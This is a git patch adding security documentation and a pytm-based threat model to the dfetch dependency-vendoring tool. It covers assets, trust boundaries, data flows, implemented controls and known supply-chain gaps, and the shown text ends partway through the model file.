From 4bb52005c7e393c108a0547d2e2011348582881a Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 17 Apr 2026 22:03:19 +0000 Subject: [PATCH 01/28] Add CRA/EN 18031 threat model: asset register, trust boundaries, security controls MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - security/threat_model.py: pytm-based threat model covering the full SDLC (runtime, GitHub Actions CI/CD, PyPI distribution). Defines 6 trust boundaries, 5 primary assets (PA-01..PA-05), 10 supporting assets (SA-01..SA-10), 8 environmental assets (EA-01..EA-08), and 15 annotated data flows with existing-control flags. - doc/explanation/security.rst: Sphinx RST page documenting the asset register, trust boundaries, data flows, implemented controls table, and known gaps/residual risks — aligned with CRA Article 13 and EN 18031. - doc/index.rst: wire security.rst into the Explanation toctree. - pyproject.toml: add pytm==1.3.1 as a new [security] optional dependency. - CHANGELOG.rst: record the new security documentation in 0.14.0 (unreleased). https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- CHANGELOG.rst | 4 + doc/explanation/security.rst | 537 +++++++++++++++++++++++++++++++++++ doc/index.rst | 1 + pyproject.toml | 1 + security/__init__.py | 0 security/threat_model.py | 499 ++++++++++++++++++++++++++++++++ 6 files changed, 1042 insertions(+) create mode 100644 doc/explanation/security.rst create mode 100644 security/__init__.py create mode 100644 security/threat_model.py diff --git a/CHANGELOG.rst b/CHANGELOG.rst index 474b0b612..878cf75ba 100644 --- a/CHANGELOG.rst +++ b/CHANGELOG.rst @@ -1,6 +1,10 @@ Release 0.14.0 (unreleased) =========================== +* Add CRA / EN 18031-aligned security model documentation covering asset register, + trust boundaries, data flows, implemented controls, and known gaps across the full + SDLC (runtime, CI/CD, PyPI distribution). The threat model is maintained as + executable code in ``security/threat_model.py`` using the ``pytm`` framework. * Use ``.cdx.json`` as the default extension for CycloneDX SBOM reports (#1118) * Embed base64-encoded license text in SBOM ``licenses[].text`` when a license is successfully identified (#1112) * Set SBOM ``licenses`` to the SPDX expression ``NOASSERTION`` when a license file is not found or cannot be classified (#1112) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst new file mode 100644 index 000000000..f0a8ff0c7 --- /dev/null +++ b/doc/explanation/security.rst @@ -0,0 +1,537 @@ + +.. _security: + +Security Model +============== + +This page documents the security design of *dfetch* across its full software +development lifecycle (SDLC): from source contribution through CI/CD, +PyPI distribution, and runtime execution in developer and embedded-build +environments. + +The model is aligned with the `Cyber Resilience Act (CRA)`_ and the +`EN 18031`_ series of cybersecurity standards, using STRIDE as the threat +classification methodology. + +.. _`Cyber Resilience Act (CRA)`: https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32024R2847 +.. _`EN 18031`: https://www.etsi.org/deliver/etsi_en/18031_18031_18031_18031/ + +The threat model is maintained as executable code in ``security/threat_model.py`` +using the `pytm`_ framework. Regenerate analysis output with: + +.. code-block:: bash + + python -m security.threat_model --seq # PlantUML sequence diagram (stdout) + python -m security.threat_model --dfd # Graphviz DFD (stdout) + python -m security.threat_model --report # STRIDE findings report + +.. _pytm: https://github.com/izar/pytm + +.. note:: + + This document covers **Phase 1: asset register and implemented controls**. + STRIDE threat enumeration, risk scoring, and controls-gap mapping will be + added in subsequent phases. + + +Scope and Assumptions +--------------------- + +The threat model spans six trust boundaries (see below) and covers: + +- The dfetch manifest and runtime fetch operations (developer workstation and CI) +- The GitHub repository and pull-request workflow +- The GitHub Actions CI/CD pipelines (11 workflows) +- PyPI distribution via OIDC trusted publishing +- Consumer installation and build integration + +Modelling assumptions: + +#. Developer workstations are trusted at dfetch invocation time. +#. TLS certificate validation is delegated to the OS, git, or SVN client. +#. No runtime secrets are persisted to disk by dfetch itself. +#. GitHub Actions environments inherit the security posture of the GitHub-hosted runner. +#. The ``integrity.hash`` field in the manifest is **optional** — archive + dependencies without it have no content-authenticity guarantee beyond TLS + transport (which is itself absent for plain ``http://`` URLs). +#. Branch- and tag-pinned Git dependencies are **mutable references** — upstream + force-pushes silently change fetched content without triggering a manifest diff. +#. The ``harden-runner`` egress policy is set to ``audit``, not ``block`` — + outbound network connections from CI runners are logged but not prevented. +#. dfetch's own build and development dependencies are **not** installed with + ``--require-hashes``, so a compromised PyPI mirror can substitute build tooling. + + +Trust Boundaries +---------------- + +.. list-table:: + :header-rows: 1 + :widths: 30 70 + + * - Boundary + - Description + * - **Local Developer Environment** + - Developer workstation or local CI runner. Assumed trusted at invocation + time. Hosts the manifest, vendor directory, metadata, and patch files. + * - **GitHub Actions Infrastructure** + - Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. + Semi-trusted: egress is audited but not blocked; secrets are inherited + across workflows via ``secrets: inherit``. + * - **Internet** + - All traffic crossing the local/remote boundary. TLS enforcement is the + responsibility of the OS and VCS clients; dfetch does not enforce HTTPS + on manifest URLs. + * - **Remote VCS Infrastructure** + - Upstream Git and SVN servers (GitHub, GitLab, Gitea, self-hosted). Not + controlled by the dfetch project; content is untrusted until verified. + * - **PyPI / TestPyPI** + - Python Package Index. dfetch publishes via OIDC trusted publishing — + no long-lived API token stored. + * - **Archive Content Space** + - Downloaded archive bytes before extraction validation. Decompression-bomb + and path-traversal checks enforce this boundary during extraction. + + +Asset Register +-------------- + +Assets are classified following the ISO/IEC 27005 taxonomy used by EN 18031: +**Primary** assets have direct value and direct harm upon compromise; +**Supporting** assets enable primary assets and degrade their security when +lost; **Environmental** assets are infrastructure dependencies. + +Primary Assets +~~~~~~~~~~~~~~ + +.. list-table:: + :header-rows: 1 + :widths: 8 28 14 50 + + * - ID + - Name + - Classification + - Description + * - PA-01 + - dfetch Manifest (``dfetch.yaml``) + - Sensitive + - StrictYAML file declaring all upstream sources, version pins, destination + paths, patch references, and optional integrity hashes. Tampering + redirects fetches to attacker-controlled sources. Risk: the + ``integrity.hash`` field is optional in the schema — archive dependencies + can be declared without any content-authenticity guarantee. + * - PA-02 + - Fetched Source Code + - Sensitive + - Third-party source written to the ``dst:`` path after extraction or + checkout. Becomes a direct build input for the consuming project. A + compromised upstream or MITM can inject malicious code that executes in + the consumer's build system, test runner, or production binary. + * - PA-03 + - Integrity Hash Record + - Sensitive + - ``integrity.hash:`` field in ``dfetch.yaml`` (``sha256|sha384|sha512:``). + The sole trust anchor for archive-type dependencies; verified via + ``hmac.compare_digest`` (constant-time). Critical gap: the field is + optional — its absence disables all content verification. Git and SVN + dependencies have no equivalent mechanism; authenticity relies entirely + on transport security (TLS/SSH). + * - PA-04 + - dfetch PyPI Package + - Sensitive + - Published wheel and source distribution on PyPI. Published via OIDC + trusted publishing — no long-lived API token stored. Missing: no SLSA + provenance attestation or Sigstore signature. Compromise of the PyPI + account or registry affects every consumer of dfetch. + * - PA-05 + - SBOM Output (CycloneDX) + - Restricted + - CycloneDX JSON or XML produced by ``dfetch report -t sbom``. Enumerates + vendored components with PURL, license, and hash. Falsification hides + actual dependencies from downstream CVE scanners. Note: this SBOM covers + vendored dependencies only — dfetch itself has no machine-readable SBOM + on PyPI, which CRA requires for distributed products. + +Supporting Assets +~~~~~~~~~~~~~~~~~ + +.. list-table:: + :header-rows: 1 + :widths: 8 28 14 50 + + * - ID + - Name + - Classification + - Description + * - SA-01 + - dfetch Process + - Restricted + - Running Python interpreter dispatching to update, check, diff, add, + remove, patch, freeze, import, report, validate, and environment commands. + Subprocess injection or dependency confusion could compromise build-time + code execution. + * - SA-02 + - VCS Credentials + - Secret + - SSH private keys, HTTPS Personal Access Tokens, SVN passwords. Used to + authenticate to private upstream repositories. dfetch never persists + these — managed by OS keychain or CI secret store. Exfiltration via a + compromised CI workflow step is the primary risk (harden-runner is in + audit mode, not block mode). + * - SA-03 + - Dependency Metadata (``.dfetch_data.yaml``) + - Restricted + - Per-dependency tracking files written after each successful fetch. + Contain: remote URL, revision/branch/tag, hash, last-fetch timestamp. + Read by ``dfetch check`` to detect outdated dependencies. Tampering can + suppress update notifications — an attacker controlling the local + filesystem can silently mask a compromised vendored dependency. + * - SA-04 + - Patch Files (``.patch``) + - Restricted + - Unified-diff files referenced by ``patch:`` in the manifest. Applied by + ``patch-ng`` after fetch. Risk: patch files carry no integrity hash in + the manifest schema, so a tampered patch silently alters vendored code. + * - SA-05 + - Local VCS Cache (temp) + - Restricted + - Temporary directory used during git-clone, svn-checkout, and archive + extraction. Deleted after content is copied to the destination. + Path-traversal attacks are mitigated by ``check_no_path_traversal()`` and + post-extraction symlink walks. + * - SA-06 + - GitHub Actions Workflows + - Restricted + - ``/.github/workflows/*.yml`` — 11 CI/CD pipeline definitions checked into + the repository. A malicious pull request modifying workflows can + exfiltrate secrets or publish a backdoored release. Mitigated by + SHA-pinned actions and ``persist-credentials: false``. Risk: ``secrets: + inherit`` in ``ci.yml`` propagates all secrets to test and docs + workflows triggered on pull requests. + * - SA-07 + - PyPI OIDC Identity + - Secret + - GitHub OIDC token exchanged for a short-lived PyPI publish credential. + No long-lived API token is stored — this is a significant security + control. The token is scoped to the GitHub Actions environment named + ``pypi``. Risk: misconfiguration of the OIDC issuer or the + trusted-publisher mapping could allow an attacker to mint a valid publish + token. + * - SA-08 + - Audit / Check Reports + - Restricted + - SARIF, Jenkins warnings-ng, and Code Climate JSON produced by + ``dfetch check``. Also includes CodeQL and OpenSSF Scorecard results + uploaded to GitHub Code Scanning. Falsification hides vulnerabilities + from downstream security dashboards. + * - SA-09 + - dfetch Build / Dev Dependencies + - Restricted + - Python packages installed during CI (setuptools, build, pylint, bandit, + mypy, pytest, etc.) and platform build tools (Ruby ``fpm``, Chocolatey + packages). Critical gap: installed via ``pip install .`` and + ``pip install --upgrade pip build`` without ``--require-hashes``. A + compromised PyPI mirror or BGP hijack can substitute malicious build + tools — a first-order supply-chain risk for dfetch's own release pipeline. + * - SA-10 + - OpenSSF Scorecard Results + - Restricted + - Weekly OSSF Scorecard SARIF results uploaded to GitHub Code Scanning. + Covers branch protection, CI tests, code review, maintained status, + packaging, pinned dependencies, SAST, signed releases, token permissions, + vulnerabilities, dangerous workflows, binary artifacts, fuzzing, licence, + CII best practices, security policy, and webhooks. Suppression or + forgery hides supply-chain regressions. + +Environmental Assets +~~~~~~~~~~~~~~~~~~~~ + +.. list-table:: + :header-rows: 1 + :widths: 8 28 14 50 + + * - ID + - Name + - Classification + - Description + * - EA-01 + - Remote VCS Servers + - Public + - Upstream Git and SVN hosts: GitHub, GitLab, Gitea, self-hosted. Not + controlled by the dfetch project. MITM on non-TLS paths is a concern + addressed by ``BatchMode=yes`` and SSH host-key verification. + * - EA-02 + - Archive HTTP Servers + - Public + - HTTP/HTTPS origins for ``.tar.gz``, ``.tgz``, ``.tar.bz2``, ``.tar.xz``, + and ``.zip`` dependencies. The ``integrity.hash`` field is the sole trust + anchor; plain ``http://`` URLs are accepted without enforcement. + * - EA-03 + - GitHub Repository + - Restricted + - Source code, pull requests, releases, and workflow definitions. The + repository's branch-protection and code-review policies are the primary + defence against malicious contributions. + * - EA-04 + - GitHub Actions Infrastructure + - Restricted + - Microsoft-operated ephemeral runners. All third-party actions are pinned + by commit SHA to limit supply-chain risk. + * - EA-05 + - PyPI / TestPyPI + - Public + - Python Package Index and its staging registry. Account takeover or + registry compromise would affect every user who installs dfetch. + * - EA-06 + - Developer Workstation / CI Runner + - Restricted + - Invokes dfetch. Trusted at call time; a compromised CI runner is a pivot + point for secret exfiltration. + * - EA-07 + - Consumer Build System + - Restricted + - Compiles fetched source code (PA-02). Not controlled by dfetch — it + receives untrusted third-party source. + * - EA-08 + - Network Transport + - — + - HTTPS, SSH, SVN, and plain HTTP carrying all remote fetch traffic. TLS + enforcement is the responsibility of the OS and VCS clients. + + +Data Flows +---------- + +The following data flows are defined in ``security/threat_model.py`` and annotated +with the security controls that are currently implemented. + +.. list-table:: + :header-rows: 1 + :widths: 8 30 14 48 + + * - ID + - Flow + - Protocol + - Notes + * - DF-01 + - Developer → dfetch CLI + - (local) + - CLI invocation: update / check / diff / report / add etc. + * - DF-02 + - Manifest → dfetch CLI + - (local) + - StrictYAML parse; ``SAFE_STR`` regex rejects control characters. + * - DF-03 + - dfetch CLI → Remote VCS Server + - HTTPS / SSH / svn + - Outbound: ``git fetch``, ``git ls-remote``, ``svn ls``, ``svn info``. + ``BatchMode=yes`` and ``--non-interactive`` prevent credential prompts. + Risk: ``svn://`` and ``http://`` protocols are accepted by dfetch — no + protocol enforcement in the manifest schema. + * - DF-04 + - Remote VCS Server → dfetch CLI + - HTTPS / SSH / svn + - Repository tree and file content. No end-to-end hash for Git or SVN + content — authenticity relies entirely on transport security. + * - DF-05 + - dfetch CLI → Archive HTTP Server + - HTTP or HTTPS + - HTTP GET to archive URL; follows up to 10 redirects. Risk: plain + ``http://`` URLs are accepted — traffic is unencrypted. + * - DF-06 + - Archive HTTP Server → dfetch CLI + - HTTP or HTTPS + - Raw archive bytes streamed into dfetch. Hash computed in-flight when + ``integrity.hash`` is specified. Critical: when the field is absent, + no content verification occurs. + * - DF-07 + - dfetch CLI → Vendor Directory + - (local) + - Post-validation copy to ``dst`` path. Path-traversal checked via + ``check_no_path_traversal()``; symlinks validated post-extraction. + * - DF-08 + - dfetch CLI → Dependency Metadata + - (local) + - Writes ``.dfetch_data.yaml`` tracking remote URL, revision, and hash. + * - DF-09 + - dfetch CLI → SBOM Output + - (local) + - CycloneDX BOM generation from metadata store contents. + * - DF-10 + - Patch Files → dfetch CLI + - (local) + - ``patch-ng`` reads unified-diff file and applies to vendor directory. + Risk: patch files carry no integrity hash; ``patch-ng`` path safety + depends on its own internal implementation. + * - DF-11 + - Contributor → GitHub Repository + - HTTPS + - External contributor opens a pull request. Risk: ``secrets: inherit`` + in ``ci.yml`` propagates secrets to test and docs workflows triggered + on PR — a malicious workflow step could exfiltrate secrets. + * - DF-12 + - GitHub Actions Runner → GitHub Repository + - HTTPS + - CI checkout and build. ``persist-credentials: false`` on all checkout + steps; all third-party actions pinned by commit SHA. + * - DF-13 + - GitHub Actions Runner → PyPI + - HTTPS + - On release event: wheel/sdist published via OIDC trusted publishing. + Missing: no SLSA provenance attestation or Sigstore package signing. + * - DF-14 + - Consumer → PyPI + - HTTPS + - ``pip install dfetch`` from PyPI. + * - DF-15 + - PyPI Package → Consumer Build System + - (installed) + - Installed dfetch wheel executed in consumer environment. Consumer + cannot verify build provenance without SLSA attestation. + + +Implemented Security Controls +------------------------------- + +The following controls are already in place and are reflected in the +``controls.*`` annotations on each pytm element. + +.. list-table:: + :header-rows: 1 + :widths: 32 20 48 + + * - Control + - Asset(s) protected + - Implementation + * - Path-traversal prevention + - PA-02, SA-05 + - ``check_no_path_traversal()`` uses ``os.path.realpath`` to reject any + path that escapes the destination root. + ``dfetch/util/util.py:265–285`` + * - Decompression-bomb protection + - SA-05, PA-02 + - Archives are rejected if uncompressed size exceeds 500 MB or the member + count exceeds 10 000. + ``dfetch/vcs/archive.py`` + * - Archive symlink validation + - PA-02 + - Absolute and escaping (``..``) symlink targets are rejected for both TAR + and ZIP. A post-extraction walk validates all symlinks against the + manifest root. + ``dfetch/vcs/archive.py`` + * - Archive member type checks + - PA-02, SA-05 + - TAR and ZIP members of type device file or FIFO are rejected outright. + ``dfetch/vcs/archive.py`` + * - Integrity hash verification + - PA-02, PA-03 + - SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` + (constant-time comparison, resistant to timing attacks). + ``dfetch/vcs/integrity_hash.py`` + * - Non-interactive VCS + - SA-02, EA-01 + - ``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; + ``--non-interactive`` for SVN. Credential prompts are suppressed to + prevent interactive hijacking in CI. + ``dfetch/vcs/git.py``, ``dfetch/vcs/svn.py`` + * - Subprocess safety + - SA-01 + - All external commands invoked with ``shell=False`` and list-form + arguments — no shell-injection vector. + ``dfetch/util/cmdline.py`` + * - Manifest input validation + - PA-01 + - StrictYAML schema with ``SAFE_STR = Regex(r"^[^\x00-\x1F\x7F-\x9F]*$")`` + rejects control characters in all string fields. + ``dfetch/manifest/schema.py`` + * - Actions commit-SHA pinning + - SA-06, EA-04 + - Every third-party GitHub Action is pinned to a full commit SHA (e.g. + ``actions/checkout@de0fac2e...``), preventing tag-mutable supply-chain + substitution. + ``.github/workflows/*.yml`` + * - OIDC trusted publishing + - SA-07, PA-04 + - PyPI publishes via ``pypa/gh-action-pypi-publish`` with ``id-token: write`` + and no stored long-lived API token. + ``.github/workflows/python-publish.yml`` + * - Minimal workflow permissions + - SA-06 + - Each workflow declares only the permissions it requires (default + ``contents: read``). + ``.github/workflows/*.yml`` + * - ``persist-credentials: false`` + - SA-02, EA-03 + - All ``actions/checkout`` steps drop the GitHub token from the working + tree after checkout. + ``.github/workflows/*.yml`` + * - Harden-runner (egress audit) + - SA-02, EA-04 + - ``step-security/harden-runner`` is used in every workflow to audit + outbound network connections. Note: policy is ``audit``, not ``block``. + ``.github/workflows/*.yml`` + * - OpenSSF Scorecard + - EA-03, SA-10 + - Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning covers + 17 supply-chain health checks. + ``.github/workflows/scorecard.yml`` + * - CodeQL static analysis + - SA-01, SA-06 + - CodeQL scans the Python codebase for security vulnerabilities on every + push and pull request. + ``.github/workflows/codeql-analysis.yml`` + * - Dependency review + - SA-09 + - ``actions/dependency-review-action`` checks for known vulnerabilities in + newly added dependencies on every pull request. + ``.github/workflows/dependency-review.yml`` + * - ``bandit`` security linter + - SA-01 + - ``bandit -r dfetch`` runs in CI to detect common Python security issues. + ``pyproject.toml`` + + +Known Gaps and Residual Risks +------------------------------ + +The following gaps were identified during asset analysis. They represent +areas where existing controls are absent or incomplete. + +.. list-table:: + :header-rows: 1 + :widths: 32 68 + + * - Gap + - Description + * - Optional integrity hash + - ``integrity.hash`` in the manifest is optional. Archive dependencies + without it have no content-authenticity guarantee. Plain ``http://`` + URLs receive no protection at all. + * - No integrity mechanism for Git/SVN + - Git and SVN dependencies carry no equivalent to ``integrity.hash``. + Authenticity relies entirely on transport security (TLS or SSH). + Mutable references (branch, tag) can silently fetch different content + after an upstream force-push. + * - No patch-file integrity + - Patch files referenced in the manifest carry no integrity hash. A + tampered patch can write to arbitrary paths through ``patch-ng``. + * - No SLSA provenance + - The release pipeline does not generate SLSA provenance attestations or + Sigstore/cosign signatures for the published wheel. Consumers cannot + verify build provenance. + * - No dfetch-self SBOM on PyPI + - The CycloneDX SBOM generated by ``dfetch report`` covers vendored + dependencies only. dfetch itself has no machine-readable SBOM published + alongside its PyPI release, as CRA Article 13 requires. + * - Build deps without hash pinning + - ``pip install .`` and ``pip install --upgrade pip build`` in CI do not + use ``--require-hashes``. A compromised PyPI mirror can substitute + malicious build tooling. + * - ``secrets: inherit`` scope + - ``ci.yml`` passes all repository secrets to the test and docs workflows + via ``secrets: inherit``. A malicious pull request step in either + workflow could exfiltrate secrets. + * - Harden-runner in audit mode + - ``step-security/harden-runner`` is configured with ``egress-policy: + audit``. Outbound connections are logged but not blocked — secret + exfiltration via a compromised CI step is possible. diff --git a/doc/index.rst b/doc/index.rst index 6d155233c..167df5295 100644 --- a/doc/index.rst +++ b/doc/index.rst @@ -100,6 +100,7 @@ upstream. See :ref:`vendoring` for background on the problem this solves. explanation/vendoring explanation/alternatives explanation/architecture + explanation/security .. only:: latex diff --git a/pyproject.toml b/pyproject.toml index ac5be99d5..038c7f57a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -108,6 +108,7 @@ build = [ ] sbom = ["cyclonedx-bom==7.3.0"] wheel = ["build==1.5.0"] +security = ["pytm==1.3.1"] [project.scripts] dfetch = "dfetch.__main__:main" diff --git a/security/__init__.py b/security/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/security/threat_model.py b/security/threat_model.py new file mode 100644 index 000000000..bc6577bdc --- /dev/null +++ b/security/threat_model.py @@ -0,0 +1,499 @@ +"""CRA / EN 18031 threat model for dfetch — Phase 1: asset register. + +Covers the full SDLC: development, CI/CD (GitHub Actions), distribution +(PyPI), and runtime (developer / embedded-build environment). + +Run: + python -m security.threat_model --dfd # Graphviz DFD + python -m security.threat_model --seq # sequence diagram (stdout) + python -m security.threat_model --report # STRIDE findings report +""" + +from pytm import ( + TM, + Actor, + Boundary, + Classification, + Data, + Dataflow, + Datastore, + ExternalEntity, + Process, + Server, +) + +# ── Threat model metadata ──────────────────────────────────────────────────── + +TM.reset() + +tm = TM( + "dfetch", + description=( + "EN 18031 / CRA threat model for dfetch — a supply-chain vendoring tool " + "that fetches external source-code dependencies (Git, SVN, archive) and " + "copies them as plain files into a project. " + "Scope: full SDLC from source contribution through CI/CD, PyPI " + "distribution, and runtime execution in developer/CI environments." + ), + threatsFile=None, + isOrdered=True, + mergeResponses=True, +) + +tm.assumptions = [ + "Developer workstations are trusted at dfetch invocation time.", + "TLS certificate validation is delegated to the OS / git / SVN client.", + "No runtime secrets are persisted to disk by dfetch itself.", + "GitHub Actions environments inherit the security posture of the GitHub-hosted runner.", + "The integrity.hash field in the manifest is OPTIONAL — archive deps without it have " + "no content-authenticity guarantee beyond TLS transport (which itself is absent for " + "http:// URLs).", + "Branch/tag-pinned Git deps are mutable references — upstream history rewrites or " + "force-pushes silently change what is fetched without triggering a manifest diff.", + "harden-runner egress policy is set to 'audit', not 'block' — outbound network " + "connections from CI runners are logged but not prevented.", + "dfetch's own build/dev dependencies (pip install .) are not installed with " + "--require-hashes, so a compromised PyPI mirror can substitute packages.", +] + +# ── Trust boundaries ───────────────────────────────────────────────────────── + +boundary_dev_env = Boundary("Local Developer Environment") +boundary_github = Boundary("GitHub Actions Infrastructure") +boundary_network = Boundary("Internet") +boundary_remote_vcs = Boundary("Remote VCS Infrastructure") +boundary_pypi = Boundary("PyPI / TestPyPI") +boundary_archive = Boundary("Archive Content Space") + +# ── Actors ─────────────────────────────────────────────────────────────────── + +developer = Actor("Developer") +developer.inBoundary = boundary_dev_env + +contributor = Actor("Contributor / Attacker") +contributor.inBoundary = boundary_network + +consumer = Actor("Consumer / End User") +consumer.inBoundary = boundary_dev_env + +# ── External entities ──────────────────────────────────────────────────────── + +remote_git_svn = ExternalEntity("Remote VCS Server") +remote_git_svn.inBoundary = boundary_remote_vcs +remote_git_svn.description = ( + "Upstream Git or SVN host: GitHub, GitLab, Gitea, self-hosted Git/SVN. " + "Not controlled by the dfetch project; content is untrusted until verified." +) + +archive_server = ExternalEntity("Archive HTTP Server") +archive_server.inBoundary = boundary_remote_vcs +archive_server.description = ( + "HTTP/HTTPS server serving .tar.gz, .tgz, .tar.bz2, .tar.xz, or .zip files. " + "CRITICAL: http:// (non-TLS) URLs are accepted without enforcement of integrity " + "hashes — the integrity.hash field is optional." +) + +gh_actions_runner = ExternalEntity("GitHub Actions Runner") +gh_actions_runner.inBoundary = boundary_github +gh_actions_runner.description = ( + "Microsoft-operated ephemeral runner executing CI/CD workflows. " + "Egress policy is 'audit' (not 'block') — exfiltration of secrets is possible " + "if any workflow step is compromised." +) + +gh_repository = ExternalEntity("GitHub Repository") +gh_repository.inBoundary = boundary_github +gh_repository.description = ( + "Source code, PRs, releases, and workflow definitions. " + "GitHub Actions workflows (.github/workflows/) with contents:write permission " + "can modify repository state and trigger releases." +) + +pypi = ExternalEntity("PyPI / TestPyPI") +pypi.inBoundary = boundary_pypi +pypi.description = ( + "Python Package Index. dfetch is published via OIDC trusted publishing " + "(no long-lived API token). Account takeover or registry compromise " + "would affect every consumer installing dfetch." +) + +consumer_build = ExternalEntity("Consumer Build System") +consumer_build.inBoundary = boundary_dev_env +consumer_build.description = ( + "Build system that compiles fetched source code (PA-02). " + "Not controlled by dfetch — it receives untrusted third-party source." +) + +# ── Processes ──────────────────────────────────────────────────────────────── + +dfetch_cli = Process("dfetch CLI") +dfetch_cli.inBoundary = boundary_dev_env +dfetch_cli.description = ( + "Python CLI entry point dispatching to: update, check, diff, add, remove, " + "patch, format-patch, freeze, import, report, validate, environment. " + "Invokes Git and SVN as subprocesses (shell=False, list args). " + "Extracts archives with decompression-bomb limits and path-traversal checks." +) +dfetch_cli.controls.validatesInput = True # StrictYAML + SAFE_STR regex +dfetch_cli.controls.sanitizesInput = True # check_no_path_traversal realpath-based +dfetch_cli.controls.usesParameterizedInput = True # shell=False, list-based subprocesses +dfetch_cli.controls.checksInputBounds = True # 500MB / 10k-member archive limits +dfetch_cli.controls.isHardened = True # BatchMode=yes, --non-interactive, type checks +dfetch_cli.controls.providesIntegrity = True # hmac.compare_digest SHA-256/384/512 + +gh_actions_workflow = Process("GitHub Actions Workflow") +gh_actions_workflow.inBoundary = boundary_github +gh_actions_workflow.description = ( + "CI/CD pipelines: test, build (wheel/msi/deb/rpm), lint, CodeQL, Scorecard, " + "dependency-review, docs, release. " + "All actions pinned by commit SHA. " + "harden-runner used in every workflow (egress: audit only)." +) +gh_actions_workflow.controls.isHardened = True # SHA-pinned actions, persist-credentials:false +gh_actions_workflow.controls.providesIntegrity = True # CodeQL + Scorecard + dependency-review +gh_actions_workflow.controls.hasAccessControl = True # minimal permissions per workflow + +python_build = Process("Python Build (wheel / sdist)") +python_build.inBoundary = boundary_github +python_build.description = ( + "Runs 'python -m build' to produce wheel and sdist. " + "MISSING: no SLSA provenance attestation generated. " + "MISSING: pip install steps do not use --require-hashes. " + "Build deps (setuptools, build, fpm, gem) fetched from PyPI/RubyGems without hash pinning." +) + +# ── PRIMARY ASSETS ─────────────────────────────────────────────────────────── +# +# PA-01 … PA-05: assets with direct business/security value whose compromise +# causes direct harm to the dfetch project or its consumers. + +manifest_store = Datastore("PA-01: dfetch Manifest") +manifest_store.inBoundary = boundary_dev_env +manifest_store.description = ( + "dfetch.yaml — declares all upstream sources (URL/VCS type), version pins " + "(branch / tag / revision / SHA), dst paths, patch references, and optional " + "integrity hashes. " + "Tampering redirects fetches to attacker-controlled sources. " + "RISK: integrity.hash is Optional in schema — archive deps can be declared " + "without any content-authenticity guarantee." +) +manifest_store.storesSensitiveData = True +manifest_store.hasWriteAccess = True +manifest_store.isSQL = False +manifest_store.classification = Classification.SENSITIVE +manifest_store.controls.isEncryptedAtRest = False +manifest_store.controls.validatesInput = True # StrictYAML validation on read + +fetched_source = Datastore("PA-02: Fetched Source Code") +fetched_source.inBoundary = boundary_dev_env +fetched_source.description = ( + "Third-party source code written to the dst: path after extraction / checkout. " + "Becomes a direct build input for the consuming project. " + "A compromised upstream or MITM can inject malicious code that executes in the " + "consumer's build system, test runner, or production binary." +) +fetched_source.storesSensitiveData = True +fetched_source.hasWriteAccess = True +fetched_source.isSQL = False +fetched_source.classification = Classification.SENSITIVE +fetched_source.controls.isEncryptedAtRest = False + +integrity_hash_record = Datastore("PA-03: Integrity Hash Record") +integrity_hash_record.inBoundary = boundary_dev_env +integrity_hash_record.description = ( + "integrity.hash: field in dfetch.yaml (sha256/sha384/sha512:). " + "The sole trust anchor for archive-type dependencies. " + "Verified via hmac.compare_digest (constant-time). " + "CRITICAL GAP: field is Optional — absence disables all content verification. " + "CRITICAL GAP: Git and SVN deps have NO equivalent integrity mechanism; " + "authenticity relies entirely on transport security (TLS/SSH)." +) +integrity_hash_record.storesSensitiveData = False +integrity_hash_record.hasWriteAccess = False +integrity_hash_record.classification = Classification.SENSITIVE +integrity_hash_record.controls.providesIntegrity = True + +pypi_package = Datastore("PA-04: dfetch PyPI Package") +pypi_package.inBoundary = boundary_pypi +pypi_package.description = ( + "Published wheel and sdist on PyPI (https://pypi.org/project/dfetch/). " + "Published via OIDC trusted publishing — no long-lived API token stored. " + "MISSING: no SLSA provenance attestation or Sigstore signature. " + "Compromise of the PyPI account or registry affects every consumer." +) +pypi_package.storesSensitiveData = False +pypi_package.hasWriteAccess = False +pypi_package.classification = Classification.SENSITIVE +pypi_package.controls.usesCodeSigning = False # no Sigstore/cosign signing + +sbom_output = Datastore("PA-05: SBOM Output (CycloneDX)") +sbom_output.inBoundary = boundary_dev_env +sbom_output.description = ( + "CycloneDX JSON/XML produced by 'dfetch report -t sbom'. " + "Enumerates vendored components with PURL, license, and hash. " + "Falsification hides actual dependencies from downstream CVE scanners. " + "NOTE: this SBOM covers vendored deps only — dfetch itself has no machine-readable " + "SBOM on PyPI (CRA requires SBOM for the distributed product)." +) +sbom_output.storesSensitiveData = False +sbom_output.hasWriteAccess = True +sbom_output.classification = Classification.RESTRICTED + +# ── SUPPORTING ASSETS ──────────────────────────────────────────────────────── +# +# SA-01 … SA-10: assets that enable primary assets; their loss degrades +# security or availability of primary assets. + +vcs_credentials = Data( + "SA-02: VCS Credentials", + description=( + "SSH private keys, HTTPS Personal Access Tokens, SVN passwords. " + "Used to authenticate to private upstream repositories. " + "dfetch never persists these — managed by OS keychain or CI secret store. " + "Exfiltration via a compromised CI workflow step is the primary risk " + "(harden-runner is in audit mode, not block mode)." + ), + classification=Classification.SECRET, + isCredentials=True, + isPII=False, + isStored=False, + isDestEncryptedAtRest=False, + isSourceEncryptedAtRest=True, +) + +metadata_store = Datastore("SA-03: Dependency Metadata") +metadata_store.inBoundary = boundary_dev_env +metadata_store.description = ( + ".dfetch_data.yaml files written after each successful fetch. " + "Contains: remote_url, revision/branch/tag, hash, last-fetch timestamp. " + "Read by 'dfetch check' to detect outdated deps. " + "Tampering can suppress update notifications — an attacker who controls the " + "local filesystem can silently mask a compromised vendored dep." +) +metadata_store.storesSensitiveData = False +metadata_store.hasWriteAccess = True +metadata_store.classification = Classification.RESTRICTED + +patch_store = Datastore("SA-04: Patch Files") +patch_store.inBoundary = boundary_dev_env +patch_store.description = ( + "Unified-diff .patch files referenced by patch: in dfetch.yaml. " + "Applied by patch-ng after fetch. " + "A malicious patch can write to arbitrary destination paths — " + "dfetch's path-traversal guards apply to archive extraction but patch-ng's " + "own path safety depends on its internal implementation. " + "Patch files are not integrity-verified (no hash in manifest schema)." +) 